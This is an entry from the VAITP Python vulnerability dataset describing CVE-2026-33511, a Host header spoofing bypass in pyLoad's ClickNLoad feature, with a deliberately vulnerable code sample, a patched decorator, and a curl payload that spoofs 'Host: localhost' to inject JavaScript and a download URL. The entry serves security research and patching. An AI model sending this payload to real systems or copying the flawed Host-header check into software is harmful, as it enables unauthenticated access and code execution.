VAITP Dataset

← Back to the dataset

CVE-2026-33511

pyLoad ClickNLoad Host header spoofing allows remote code execution.

  • CVSS 8.8
  • CWE-639
  • Authentication, Authorization, and Session Management
  • Remote

pyLoad is a free and open-source download manager written in Python. From version 0.4.20 to before version 0.5.0b3.dev97, the local_check decorator in pyLoad's ClickNLoad feature can be bypassed by any remote attacker through HTTP Host header spoofing. This allows unauthenticated remote users to access localhost-restricted endpoints, enabling them to inject arbitrary downloads, write files to the storage directory, and execute JavaScript code. This issue has been patched in version 0.5.0b3.dev97.

CVSS base score
8.8
Published
2026-03-24
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Authentication, Authorization, and Session Management
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
pyLoad
Fixed by upgrading
Yes

Solution

Upgrade to pyLoad version 0.5.0b3.dev97 or later.

Vulnerable code sample

import cgi
from functools import wraps
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

# This is a simplified representation of the pyLoad web server and decorator logic.
# It uses the standard library's http.server to avoid external dependencies.

# --- VULNERABLE DECORATOR ---
def local_check(func):
    """
    Vulnerable decorator that checks if the request is from localhost.
    It incorrectly trusts the 'Host' header, which can be spoofed by a remote attacker.
    """
    @wraps(func)
    def wrapper(handler, *args, **kwargs):
        host_header = handler.headers.get('Host', '').split(':')[0]
        
        # The vulnerable check: an attacker can set 'Host: localhost' or 'Host: 127.0.0.1'
        if host_header in ('localhost', '127.0.0.1'):
            return func(handler, *args, **kwargs)
        else:
            # If the header doesn't match, access is forbidden.
            handler.send_response(403)
            handler.send_header('Content-type', 'application/json')
            handler.end_headers()
            handler.wfile.write(json.dumps({'error': 'Access denied'}).encode('utf-8'))
            print(f"[-] Denied access for Host: {host_header} from {handler.client_address[0]}")
    return wrapper

class VulnerablePyloadHandler(BaseHTTPRequestHandler):
    """
    A request handler that simulates pyLoad's web interface,
    including a protected endpoint.
    """
    
    @local_check
    def handle_flash_request(self):
        """
        Simulates the 'flash' endpoint for Click'N'Load, which should be localhost-only.
        This is the function protected by the vulnerable decorator.
        """
        ctype, pdict = cgi.parse_header(self.headers.get('content-type'))
        if ctype == 'application/x-www-form-urlencoded':
            length = int(self.headers.get('content-length'))
            postvars = cgi.parse_qs(self.rfile.read(length), keep_blank_values=1)
            
            # In a real scenario, this data would be used to add downloads
            # and could lead to file writes or other actions.
            jk = postvars.get(b'jk', [b''])[0].decode('utf-8', 'ignore')
            
            print(f"[+] SUCCESS: Accessed protected 'flash' endpoint from {self.client_address[0]}")
            print(f"    -> Spoofed Host header: {self.headers.get('Host')}")
            print(f"    -> Injected JavaScript/Data: {jk}")
            
            self.send_response(200)
            self.send_header('Content-type', 'application/json')
            self.end_headers()
            self.wfile.write(json.dumps({'status': 'ok'}).encode('utf-8'))
        else:
            self.send_response(400)
            self.send_header('Content-type', 'application/json')
            self.end_headers()
            self.wfile.write(json.dumps({'error': 'Bad Request'}).encode('utf-8'))

    def do_POST(self):
        """Handles POST requests and routes to the protected endpoint if the path matches."""
        if self.path == '/flash':
            self.handle_flash_request()
        else:
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b'Not Found')

    def do_GET(self):
        """Handles GET requests to show the server is running."""
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b"Vulnerable pyLoad Simulation. The protected endpoint is at POST /flash.")

def run(server_class=HTTPServer, handler_class=VulnerablePyloadHandler, port=8000):
    # Bind to 0.0.0.0 to be accessible from remote machines for the demonstration.
    server_address = ('0.0.0.0', port)
    httpd = server_class(server_address, handler_class)
    print(f"Starting vulnerable server on port {port}...")
    print("To exploit, send a POST request to /flash with a spoofed 'Host: localhost' header.")
    print("Example using curl:")
    print("curl -X POST http://<server_ip>:8000/flash -H 'Host: localhost' -d 'jk=alert(1)'")
    httpd.serve_forever()

if __name__ == '__main__':
    run()

Patched code sample

from functools import wraps

# The following code represents the patched version of the `local_check` decorator
# in pyLoad, which fixes the vulnerability. The vulnerability existed because the
# check was performed against the user-controllable 'Host' header.
#
# The fix involves checking the request's remote IP address (`self.request.remote_ip`),
# which cannot be spoofed by a remote attacker at the HTTP level. This ensures
# that the decorated endpoint can only be accessed by clients connecting from
# the local machine (127.0.0.1 for IPv4 or ::1 for IPv6).

def local_check(func):
    """
    Decorator to check if request is from localhost.
    """
    @wraps(func)
    def wrapper(self, *args, **kwargs):
        # FIX: Check the remote IP of the TCP connection instead of the HTTP Host header.
        if not self.request.remote_ip in ("127.0.0.1", "::1"):
            # This would typically call a method to send an HTTP 401 Unauthorized error.
            # self.send_error(401)
            print(f"Access denied for remote IP: {self.request.remote_ip}")
            return
        return func(self, *args, **kwargs)
    return wrapper

# --- Demonstrative Code Structure ---
# The following is a minimal example to show how the decorator would be used
# in the context of a web request handler, as it would be in pyLoad.

class MockRequest:
    """A mock request object to simulate a web request."""
    def __init__(self, remote_ip, host_header):
        self.remote_ip = remote_ip
        self.host = host_header

class MyRequestHandler:
    """A mock request handler class."""
    def __init__(self, request):
        self.request = request

    def send_error(self, code):
        """Mock method to simulate sending an HTTP error."""
        print(f"Sent HTTP error {code}")

    @local_check
    def sensitive_operation(self):
        """An example of an endpoint that should only be accessible locally."""
        print("Sensitive operation executed successfully.")


if __name__ == '__main__':
    # 1. Simulating a legitimate request from localhost
    print("--- Testing legitimate localhost access ---")
    local_request = MockRequest(remote_ip="127.0.0.1", host_header="127.0.0.1:8000")
    handler_local = MyRequestHandler(local_request)
    handler_local.sensitive_operation()

    print("\n" + "="*40 + "\n")

    # 2. Simulating a remote attacker trying to bypass the check via Host header spoofing
    # This request would have succeeded with the vulnerable code but is blocked by the fix.
    print("--- Testing remote access with spoofed Host header (Attack) ---")
    remote_attack_request = MockRequest(remote_ip="192.168.1.100", host_header="127.0.0.1:8000")
    handler_remote = MyRequestHandler(remote_attack_request)
    handler_remote.sensitive_operation()

Payload

curl -X POST \
  -H "Host: localhost" \
  -d 'jk=function f(){alert("CVE-2026-33511 PoC")}&urls=https://example.com/malicious_file.zip' \
  http://TARGET_IP:8000/flashgot

Cite this entry

@misc{vaitp:cve202633511,
  title        = {{pyLoad ClickNLoad Host header spoofing allows remote code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-33511},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33511/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::